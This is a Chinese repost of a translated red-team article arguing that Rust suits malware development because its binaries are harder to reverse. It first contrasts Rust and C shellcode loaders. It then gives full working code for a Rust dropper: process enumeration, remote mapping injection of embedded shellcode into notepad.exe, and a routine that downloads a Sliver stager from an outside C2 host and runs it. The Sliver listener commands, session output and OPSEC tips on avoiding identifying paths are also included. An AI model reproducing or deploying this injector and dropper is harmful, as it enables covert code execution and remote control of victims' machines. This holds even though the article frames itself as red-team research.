文章总结: 本文探讨了Rust在恶意软件开发领域的优势,通过对比Rust与C语言开发的恶意软件,发现Rust编译的二进制文件更大且更难逆向分析。文章指出Rust的编译优化和符号名称混淆增加了逆向工程难度,同时提供了Rust恶意软件投放器的开发示例,展示了如何枚举进程、注入shellcode和部署C2。尽管Rust会在二进制文件中包含绝对路径,但其反分析特性使其成为恶意软件开发的理想选择。
综合评分: 89
文章分类: 恶意软件,二进制安全,逆向分析,免杀,红队
为什么 Rust 在恶意软件开发领域逐渐占据一席之地
aeverj
红队工坊
2025年11月24日 08:01
北京
翻译自 Rust for Malware Development | Bishop Fox
2025年新年伊始,我给自己定了个目标:深入学习恶意软件开发。之前我主要通过[Web应用和API渗透测试]https://bishopfox.com/resources/web-application-security-testing-guide来获取初始立足点,现在我想提升自己的能力,更好地模拟真实攻击者的手法。在恶意软件开发语言的选择上,我选了Rust——它天生具有反分析特性,能开发出更难被发现的工具。今天,我们就来对比一下用Rust和C语言开发恶意软件的差异,并编写一个简单的恶意软件投放器作为演示。
更新
新增播客访谈 除了这篇深度文章,Bishop Fox的安全顾问Nick Cerne最近还在CyberWire的Research Saturday播客节目中分享了他的研究成果。这期节目详细讨论了如何使用Rust创建隐蔽的恶意软件工具,以及它给逆向工程带来的挑战。你可以在这里收听完整对话:[用现代金属打造恶意软件 – Research Saturday第373期]https://thecyberwire.com/podcasts/research-saturday/373/notes。
Rust VS C语言 – 对比分析
看到这里,你可能会问——为什么选Rust?用Rust开发恶意软件相比传统的C或C++有什么优势?
近年来,Go、Nim和Rust等语言在[恶意软件作者中越来越受欢迎]https://blogs.blackberry.com/en/2021/07/old-dogs-new-tricks-attackers-adopt-exotic-programming-languages,背后主要有两个原因:
- 用这些语言编译的二进制文件比C/C++的更难逆向分析
- 用非传统语言开发的恶意软件更容易绕过基于特征的检测机制
2023年,罗切斯特理工学院发表了一篇[论文]https://repository.rit.edu/cgi/viewcontent.cgi?article=12615&context=theses,专门验证这两个假设。他们对比分析了Rust和C/C++开发的恶意软件,研究结果可以总结为:
- Rust二进制文件的体积明显大于C/C++,这可能增加逆向工程的工作量和复杂度
- 自动化恶意软件分析工具在分析Rust编译的恶意软件时,产生了更多的误报和漏报
- Ghidra和IDA Free等主流逆向工程工具在反汇编Rust二进制文件时表现不佳
为了验证这些结论,我们来分析对比两个功能完全相同的shellcode加载器样本——一个用Rust写,一个用C写。这两个恶意软件样本都会执行以下操作:
- 从文件中读取启动
calc.exe的原始shellcode字节 - 使用Windows API在本地进程内存中写入并执行shellcode
Rust代码示例如下:
use std::fs::File;
use std::ptr;
use std::io::{self, Read};
use windows::Win32::{
System::{
Threading::{CreateThread, WaitForSingleObject, THREAD_CREATION_FLAGS, INFINITE},
Memory::{VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS},
},
Foundation::CloseHandle
};
fnmain() {
/* 将shellcode读入payload_vec */
letmut shellcode_bytes = File::open("shellcode/calc.bin").unwrap();
letmut payload_vec = Vec::new();
shellcode_bytes.read_to_end(&mut payload_vec);
unsafe {
/* 在本地进程中分配内存 */
letl_address = VirtualAlloc(Some(ptr::null_mut()), payload_vec.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
/* 将shellcode复制到分配的内存 */
ptr::copy(payload_vec.as_ptr(), l_address as *mutu8, payload_vec.len());
/* 修改内存保护属性 */
VirtualProtect(l_address, payload_vec.len(), PAGE_EXECUTE_READWRITE, &mutPAGE_PROTECTION_FLAGS(0));
/* 创建本地线程并运行shellcode */
leth_thread = CreateThread(Some(ptr::null()), 0, Some(std::mem::transmute(l_address)), Some(ptr::null()), THREAD_CREATION_FLAGS(0), Some(ptr::null_mut())).unwrap();
WaitForSingleObject(h_thread, INFINITE);
CloseHandle(h_thread);
};
println!("[!] Success! Executed shellcode.");
}
代码首先从shellcode/calc.bin读取shellcode并存储在缓冲区中。然后根据缓冲区大小在本地进程中分配一块内存。接着将shellcode复制到分配的内存中。最后,修改内存区域的保护属性,在新线程中执行shellcode。为了简洁起见,C语言的等效代码可以在我们的[Github]https://github.com/BishopFox/RustCMalwareComparison上查看。
编译完两个程序后,我们可以立即看到Rust程序明显更大:
PS > dir
...省略部分内容...
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/18/2025 5:19 PM 73374 c_malware.exe
-a---- 2/18/2025 4:10 PM 155136 rust_malware.exe
编译后的C程序文件大小为71.7KB,而Rust程序的发布版本几乎是它的两倍,达到151.5KB。使用默认编译器优化设置时,Rust会在编译时静态链接依赖项。这意味着程序所需的所有库都直接编译进可执行文件中,包括大部分Rust标准库和运行时库。相比之下,C语言通常使用动态链接,调用系统上安装的外部库。虽然较大的文件体积可能被视为缺点,但它也可能增加逆向工程Rust恶意软件的工作量和复杂度。
我们还可以通过查看两个程序的Ghidra反编译输出来判断Rust恶意软件是否更难逆向。为了简洁,我们只使用Ghidra输出,不包括IDA Free的分析。让我们看看Rust恶意软件的反编译主函数,并与上面的代码进行对比。
uint uVar1;
BOOL BVar2;
longlong extraout_RAX;
LPTHREAD_START_ROUTINE lpStartAddress;
undefined **hHandle;
int iVar3;
char *pcVar4;
longlong *plVar5;
SIZE_T SVar6;
longlong alStack_80 [3];
DWORD DStack_64;
undefined **ppuStack_60;
undefined8 uStack_58;
undefined8 *puStack_50;
undefined **ppuStack_48;
undefined8 uStack_40;
undefined8 uStack_38;
undefined4 uStack_30;
undefined4 uStack_2c;
undefined4 uStack_28;
undefined2 uStack_24;
undefined2 uStack_22;
undefined8 uStack_18;
uStack_18 = 0xfffffffffffffffe;
ppuStack_48 = (undefined **)((ulonglong)ppuStack_48 & 0xffffffff00000000);
uStack_40._0_4_ = 0;
uStack_40._4_4_ = 0;
uStack_38 = 0;
uStack_30 = 7;
uStack_2c = 0;
uStack_24 = 0;
uStack_28 = 1;
pcVar4 = "shellcode/shellcode.binsrc\\main.rs";
uVar1 = std::fs::OpenOptions::_open((char *)&ppuStack_48,0x4001c470,0x17);
if ((uVar1 & 1) != 0) {
ppuStack_48 = (undefined **)pcVar4;
/* 警告:子程序不会返回 */
core::result::unwrap_failed();
}
alStack_80[0] = 0;
alStack_80[1] = 1;
alStack_80[2] = 0;
plVar5 = alStack_80;
ppuStack_60 = (undefined **)pcVar4;
std::fs::impl$8::read_to_end();
if ((extraout_RAX != 0) && (((uint)plVar5 & 3) == 1)) {
uStack_58 = *(undefined8 *)((longlong)plVar5 + -1);
puStack_50 = *(undefined8 **)((longlong)plVar5 + 7);
if ((code *)*puStack_50 != (code *)0x0) {
(*(code *)*puStack_50)(uStack_58);
}
if (puStack_50[1] != 0) {
std::alloc::__default_lib_allocator::__rust_dealloc();
}
std::alloc::__default_lib_allocator::__rust_dealloc();
}
lpStartAddress = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,alStack_80[2],0x3000,4);
DStack_64 = 0;
SVar6 = alStack_80[2];
BVar2 = VirtualProtect(lpStartAddress,alStack_80[2],0x40,&DStack_64);
iVar3 = (int)SVar6;
if (BVar2 == 0) {
ppuStack_48 = (undefined **)windows_result::error::Error::from_win32();
uStack_40._0_4_ = iVar3;
if (ppuStack_48 != (undefined **)0x0 && iVar3 != 0) {
_<>::drop(&ppuStack_48);
}
}
iVar3 = 0;
hHandle = (undefined **)
CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress,(LPVOID)0x0,0,(LPDWORD)0x0);
if ((longlong)hHandle + 1U < 2) {
hHandle = (undefined **)windows_result::error::Error::from_win32();
if (iVar3 != 0) {
uStack_40 = CONCAT44(uStack_40._4_4_,iVar3);
ppuStack_48 = hHandle;
/* 警告:子程序不会返回 */
core::result::unwrap_failed();
}
}
iVar3 = -1;
WaitForSingleObject(hHandle,0xffffffff);
BVar2 = CloseHandle(hHandle);
if (BVar2 == 0) {
ppuStack_48 = (undefined **)windows_result::error::Error::from_win32();
uStack_40 = CONCAT44(uStack_40._4_4_,iVar3);
if (ppuStack_48 != (undefined **)0x0 && iVar3 != 0) {
_<>::drop(&ppuStack_48);
}
}
ppuStack_48 = &PTR_s_[!]_Success!_Executed_shellcode._14001c4e8;
uStack_40 = 1;
uStack_38 = 8;
uStack_30 = 0;
uStack_2c = 0;
uStack_28 = 0;
uStack_24 = 0;
uStack_22 = 0;
std::io::stdio::_print();
if (alStack_80[0] != 0) {
std::alloc::__default_lib_allocator::__rust_dealloc();
}
CloseHandle(ppuStack_60);
return;
}
上面的反编译输出很难阅读和理解。Ghidra无法正确反编译Rust程序,可能是由于以下原因:
- Ghidra试图将Rust程序反编译为伪C代码;两种语言在内存管理和优化方面的差异导致生成的伪代码难以理解
rustc在编译时执行了大量优化,导致函数边界不清晰,生成的高度优化汇编代码(ASM)难以解释
第二点可以通过比较以下Rust程序在不同编译器优化级别下的汇编代码来观察:
fn add(a: i32, b: i32) -> i32 {
a + b
}
fn main() {
let x = add(3, 4);
println!("{}", x);
}
我们的程序只是定义了一个add函数,并在main函数中用两个参数调用它。接下来,我们可以使用以下rustc命令将程序编译为未优化和优化的汇编代码:
PS > rustc -C opt-level=0 --emit asm -o unoptimized.s src/main.rs
PS > rustc -C opt-level=3 --emit asm -o optimized.s src/main.rs
我们可以使用vim -d unoptimized.s optimized.s来比较优化和未优化的汇编代码:
图1:优化和未优化汇编代码对比
如左侧的优化汇编代码所示,add函数的符号定义消失了,这表明该函数可能在编译时被rustc优化内联了。
值得注意的是,像C++一样,Rust也会进行[符号名称混淆(symbol name mangling)]https://doc.rust-lang.org/rustc/symbol-mangling/index.html,并有Rust特定的语义。不过,Ghidra在11.0版本中引入了Rust符号名称去混淆功能。在11.0版本之前,原生Rust不支持名称去混淆,这使得逆向工程更加困难。但从那时起已经取得了重大进展,在反编译输出中可以看到去混淆符号的尝试,比如std::fs::impl$8::read_to_end();对应我们原始代码中的shellcode_bytes.read_to_end(&mut payload_vec);。
相比之下,反编译的C程序要简单得多:
int __cdecl main(int _Argc,char **_Argv,char **_Env)
{
DWORD local_34;
HANDLE local_30;
LPTHREAD_START_ROUTINE local_28;
void *local_20;
int local_14;
FILE *local_10;
__main();
local_10 = fopen("shellcode/calc.bin","rb");
fseek(local_10,0,2);
local_14 = ftell(local_10);
rewind(local_10);
local_20 = malloc((longlong)local_14);
fread(local_20,1,(longlong)local_14,local_10);
fclose(local_10);
local_28 = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,(longlong)local_14,0x3000,4);
memcpy(local_28,local_20,(longlong)local_14);
free(local_20);
VirtualProtect(local_28,(longlong)local_14,0x40,&local_34);
local_30 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,local_28,(LPVOID)0x0,0,(LPDWORD)0x0);
WaitForSingleObject(local_30,0xffffffff);
CloseHandle(local_30);
printf("[!] Success! Executed shellcode.\n");
return0;
}
C程序的反编译输出比Rust更接近源代码。此外,在Ghidra中,C程序符号树中的关键函数和变量明显更容易识别。
一个重要的操作安全(OPSEC)考虑是,Rust会在编译的二进制文件中包含绝对文件路径,主要用于调试目的。因此,如果你重视OPSEC,最好在不会暴露身份特征的环境中编译。
$ strings ./rust_malware.exe | grep Nick
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\raw_vec.rs
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\string.rs
总之,在开发恶意软件时,Rust可以成为C/C++的绝佳替代品。虽然Ghidra 11.0版本在反编译和分析Rust二进制文件方面迈出了重要一步,但由于rustc在编译时进行的函数内联和其他优化,审查Rust程序的反编译输出仍然很困难。此外,较大的二进制文件可能使分析Rust恶意软件比C更耗时。未来Ghidra团队或开源社区会做出什么改进来简化Rust恶意软件的静态分析,这将是很有趣的观察点。
开发Rust恶意软件投放器
既然确认了Rust是恶意软件开发的可靠选择,让我们构建一个投放器(dropper)来演示。投放器是一种恶意软件,设计用于在计算机上安装额外的恶意软件。我们的投放器将执行以下操作:
- 枚举目标上的进程以注入我们的载荷(payload)
- 使用文件映射注入技术执行载荷
- 通过
HTTPS部署sliver
请注意,以下恶意软件并不全面,从OPSEC和规避角度可以做很多改进。以下代码片段只是为了说明如何使用Rust进行恶意软件开发。
首先,我们初始化Rust项目并创建第一个模块enumerate_processes.rs:
use windows::{
Win32::System::ProcessStatus::EnumProcesses,
Win32::Foundation::{CloseHandle, HMODULE},
Win32::System::Threading::{OpenProcess, PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
Win32::System::ProcessStatus::{GetModuleBaseNameW}
};
pubfnget_process_pids() ->Vec<u32> {
/* 以合理的缓冲区大小开始存储PID */
letmut pids = vec![0u32; 1024];
letmut cb = 0u32;
unsafe {
/* 循环动态调整缓冲区大小(如果太小) */
loop {
ifEnumProcesses(pids.as_mut_ptr(), pids.len() asu32, &mut cb).is_err() {
/* 静默失败 */
returnvec![];
};
/* 通过写入的字节数识别PID数量 */
letnum_pids = (cb asusize) / size_of::<u32>();
/* 如果缓冲区大于PID数量 */
if num_pids < pids.len() {
pids.truncate(num_pids);
return pids;
}
pids.resize(pids.len() * 2, 0);
}
}
}
pubfnget_process_name(pid: u32) ->String {
/* 将进程名称存储到临时缓冲区 */
letmut name_buffer: [u16; 260] = [0; 260];
unsafe {
lethresult = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, pid);
if hresult.is_err() {
returnString::from("");
};
lethandle = hresult.unwrap();
letmodule_name_len = GetModuleBaseNameW(handle, Some(HMODULE::default()), &mut name_buffer);
CloseHandle(handle);
if module_name_len == 0 {
returnString::from("");
}
/* 返回从临时缓冲区解码的字符串 */
returnString::from_utf16_lossy(&name_buffer[..module_name_len asusize]);
}
}
上面的代码利用了几个Windows API来枚举目标系统上的远程进程。具体使用了以下API:
EnumProcesses– 检索系统中每个进程的进程标识符(PID)并将结果存储在数组中OpenProcess– 使用指定的PID打开现有本地进程对象的句柄GetModuleBaseNameW– 使用打开的进程句柄检索进程名称
我们可以在同一文件中快速创建一个单元测试来验证上述代码是否按预期工作。
#[cfg(test)]
mod tests {
use super::*;
#[test]
fntest_enumerate_processes() {
letpids = get_process_pids();
lethas_svchost = pids.iter().any(|&pid| {
matchget_process_name(pid) {
name => name == "svchost.exe",
_ => false
}
});
assert!(has_svchost, "No svchost.exe process found");
}
}
运行cargo test后,我们得到以下输出,表明代码成功识别了svchost.exe进程。
PS > cargo test
...省略部分内容...
running 1 test
test enumerate_processes::tests::test_enumerate_processes ... ok
test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s
现在我们已经创建了枚举系统远程进程的方法,接下来应该编写负责将载荷注入指定进程的代码。在将shellcode注入进程之前,必须先在目标进程中分配与载荷长度相对应的私有内存块。为此,攻击者通常使用VirtualAlloc和VirtualAllocEx Windows API,它们直接在指定进程中分配内存。因此,使用这种方法分配私有内存的过程受到安全解决方案的高度监控。作为替代,我们可以使用一种称为远程映射注入(Remote Mapping Injection)的技术,它能够使用较少为人知的Windows API分配内存:
CreateFileMapping– 创建一个文件映射对象,其中包含我们载荷的长度MapViewOfFile– 将文件映射对象的视图映射到本地地址空间MapViewOfFileNuma2– 将文件映射对象的视图映射到远程进程的地址空间,其中包括我们的载荷
重要的是要注意,在调用MapViewOfFileNuma2之前,必须先将载荷复制到调用MapViewOfFile时创建的本地地址空间。一旦载荷复制到远程进程,我们将使用CreateRemoteThread API来执行它。CreateRemoteThread是另一个受到高度监控的Windows API,但为了简洁起见并避免增加示例的复杂性,我们还是使用它。
为了测试,我们将简单地尝试将calc.exe shellcode注入到notepad.exe进程的内存中。
use std::{
mem::transmute,
ptr::{copy_nonoverlapping, null},
};
use windows::Win32::{
Foundation::INVALID_HANDLE_VALUE,
System::Threading::{CreateRemoteThread, OpenProcess, WaitForSingleObject, INFINITE},
System::{
Memory::{CreateFileMappingA, MapViewOfFile, MapViewOfFileNuma2, FILE_MAP_WRITE, PAGE_EXECUTE_READWRITE},
Threading::PROCESS_ALL_ACCESS,
},
};
#[cfg(test)]
mod tests {
use super::*;
#[test]
fntest_mapping_injection() {
/* 更改为notepad.exe的准确pid */
letpid = 3120;
/* calc.exe shellcode */
letshellcode: Vec<u8> = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
].to_vec();
inject(pid, shellcode);
assert!(true);
}
}
pubfninject(pid: u32, shellcode: Vec<u8>) {
unsafe {
/* 使用传递给函数的PID打开目标进程的句柄 */
leth_remote_process = OpenProcess(PROCESS_ALL_ACCESS, false, pid).unwrap();
/* 根据shellcode大小创建文件映射对象 */
leth_local_file = CreateFileMappingA(
INVALID_HANDLE_VALUE,
None,
PAGE_EXECUTE_READWRITE,
0,
shellcode.len() asu32,
None,
).unwrap();
/* 将文件映射对象的视图映射到本地内存 */
letlocal_map_address = MapViewOfFile(
h_local_file,
FILE_MAP_WRITE,
0,
0,
shellcode.len(),
);
/* 将shellcode复制到MapViewOfFile分配的内存 */
copy_nonoverlapping(shellcode.as_ptr() as _, local_map_address.Value, shellcode.len());
/* 有效地将包含我们载荷的分配内存复制到远程进程 */
letremote_map_address = MapViewOfFileNuma2(h_local_file, h_remote_process, 0, None, 0, 0, PAGE_EXECUTE_READWRITE.0, 0);
/* 创建远程线程并执行我们的载荷 */
leth_thread = CreateRemoteThread(
h_remote_process,
Some(null()),
0,
transmute(remote_map_address.Value),
Some(null()),
0,
None,
).unwrap();
WaitForSingleObject(h_thread, INFINITE);
}
}
运行我们的单元测试后,可以看到calc.exe成功注入并在notepad.exe的内存中执行。
图2:calc.exe成功注入并在notepad.exe内存中执行
此外,我们可以使用x64dbg.exe在载荷复制到远程进程后立即查看notepad.exe内存区域中的载荷:
图3:notepad.exe内存区域中的载荷
如图所示,我们的载荷成功复制到notepad.exe的0x20efa400000内存地址并执行。
现在我们应该先设置sliver C2环境([在这里获取sliver]https://bishopfox.com/tools/sliver)。为了简单起见,我们将直接与C2服务器交互,因为在测试环境中不需要隐藏它。我们可以使用以下命令设置HTTPS阶段监听器:
sliver > profiles new --http sliver.nrcerne.com --format shellcode sliver-https
[*] Saved new implant profile sliver-https
sliver > stage-listener --url https://sliver.nrcerne.com:8886 --profile sliver-https --prepend-size
[*] No builds found for profile sliver-https, generating a new one
[*] Sliver name for profile sliver-https: PROFITABLE_ALUMINIUM
[*] Job 1 (https) started
接下来,我们应该设置一个HTTPS监听器:
sliver > https
[*] Successfully started job #10
最后,我们需要生成stager并从C2基础设施提供服务。
generate stager --protocol https --lhost sliver.nrcerne.com --lport 8886 -f raw
--save /tmp
[*] Sliver implant stager saved to: /tmp/DULL_EQUIPMENT
现在我们可以修改main.rs来下载并在notepad.exe的上下文中执行我们的sliver stager。注意,使用reqwest库开发了一个简单的HTTPS客户端来检索shellcode。
mod enumerate_processes;
mod remote_mapping_injection;
mod http_client;
fnmain() {
leturl = String::from("https://sliver.nrcerne.com:8444/DULL_EQUIPMENT");
letshellcode = http_client::get_payload_bytes(url).unwrap();
letpids = enumerate_processes::get_process_pids();
letmut p_name: String;
forpin pids {
p_name = enumerate_processes::get_process_name(p);
if p_name == "notepad.exe" {
remote_mapping_injection::inject(p, &shellcode);
}
}
}
运行可执行文件后,我们观察到以下连接返回到我们的sliver服务器,表明我们的stager成功在notepad.exe的内存中执行。
[*] Session 7f947e00 PROFITABLE_ALUMINIUM - 3.81.150.232:49807 (EC2AMAZ-999SMRM) - windows/amd64 - Tue, 25 Feb 2025 00:44:18 UTC
sliver > sessions
ID Transport Remote Address Hostname Username Operating System Health
========== =========== ===================== ================= =============== ================== =========
7f947e00 http(s) 3.81.150.232:49807 EC2AMAZ-999SMRM Administrator windows/amd64 [ALIVE]
sliver > use 7f947e00
[*] Active session PROFITABLE_ALUMINIUM (7f947e00-3b9a-4ef0-ad83-06a31a44c9f9)
sliver (PROFITABLE_ALUMINIUM) > whoami
Logon ID: EC2AMAZ-999SMRM\Administrator
如演示所示,Rust可以成为恶意软件开发的绝佳选择,可以轻松用于部署sliver或执行其他恶意操作。如前所述,从OPSEC和规避角度来看,上述示例可以进行多项改进,但一个简单的投放器足以用于我们的演示。
你可能已经意识到,恶意软件开发是一场不断演变的猫鼠游戏,需要不断改进和开发新技术才能在安全解决方案同步发展的情况下保持有效。虽然2025年到目前为止这个过程充满挑战,但也非常有价值,让我对Windows内部机制和现代规避技术有了宝贵的见解。
请在微信客户端打开
如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号
在这里,我会持续分享更多高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!
免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红队工坊 aeverj《为什么 Rust 在恶意软件开发领域逐渐占据一席之地》